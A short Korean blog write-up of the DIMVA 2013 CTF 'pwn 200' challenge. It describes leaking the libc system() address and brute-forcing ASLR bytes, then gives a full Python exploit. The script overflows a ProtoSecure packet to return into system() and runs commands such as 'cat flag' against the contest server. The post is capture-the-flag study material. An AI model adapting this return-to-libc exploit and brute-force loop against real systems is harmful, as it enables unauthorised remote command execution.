본문 바로가기

Computer Security/CTF

[DIMVA 2013] pwn 200 exploit

같은 문제에, NX만 없애고, 더이상 레지스터를 보여주지 않는다.

이건, pwn 100에서 딴 쉘을 이용해서 풀었다.

pwn 100에서, "objdump -T ????/libc.so.6 | grep system" 명령어와 "ldd"명령어를 통해 system 주소의 처음 2바이트와 마지막 3바이트를 알아냈다. (첫 2바이트는 f7, 뒤 3바이트는 430)

ASLR은 중간 3바이트에만 걸리기때문에, 해당부분은 브루트포싱을 해서 구해낸다.


아래는 익스플로잇

(주석은 stage1으로, 시스템 주소를 알아내는 작업, 그 후에는 주석처리를 한 후 원하는 커맨드를 입력한다.)


from socket import * from struct import * import hashlib import time   for i in range(0,0x1000): s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1120)) s.settimeout(2) #system = 0xf7000430+i*0x1000 system=0xf762f430 print "pwn2 system: "+hex(system) s.send("A") s.recv(1024)   #body = ";id>&4;" body = ";cat flag>&4;" body += "a"*(128-len(body))   SHA256 = hashlib.sha256(body).digest() data = "ProtoSecure1.0\xff\xff"+SHA256+body data += "a"*1364 data += pack('<L',system) data += "c"*(0x800-len(data)) s.send(data)   get=s.recv(1024) """ if "uid" in get: print get break """ time.sleep(0.2) try: get=s.recv(1024) print get except: s.close() continue """ if "uid" in get: print get break """   s.close() break